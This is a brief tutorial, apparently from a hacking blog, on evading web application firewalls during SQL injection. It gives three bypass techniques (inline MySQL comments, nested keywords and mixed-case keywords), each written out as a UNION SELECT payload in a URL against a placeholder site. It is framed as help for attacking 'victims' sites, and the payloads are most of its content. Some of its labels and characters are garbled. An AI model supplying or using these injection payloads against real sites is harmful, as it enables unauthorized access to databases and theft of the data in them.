How to bypass http forbidden & http not acceptable in sql injection

SQL WAF :- SQL ” WAF ” is a Web Application Firewall which protects the site from malicious scripts injected by the hacker to the victims site. It don’t allow scripts to execute and shows the Error ” HTTP FORBIDDEN ” & ” HTTP NOT ACCEPTABLE ” .

So today we will learn how to bypass WAF :-

BY adding special characters to the query

Normal query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- www.vulnerable-site.com/index.php?id=-12 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5—

Second way to bypass it :-

By adding Capital letters at first and last :-

Normal query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- www.vulnerable-site.com/index.php?id=-12 UNIunionON SEselectLECT 1,2,3,4,5–

Third Way to bypass it :-

BY making the query Capital + small letters combination :-

Normal Query :- www.vulnerable-site.com/index.php?id=-12 UNION SELECT ALL 1,2,3,4,5–

Bypass query :- http://vulnerablesite.com/detail.php?id=-1 uNiOn SeLeCt 1,2,3,4,5—

Hope you have love the tutorial How to bypass WAF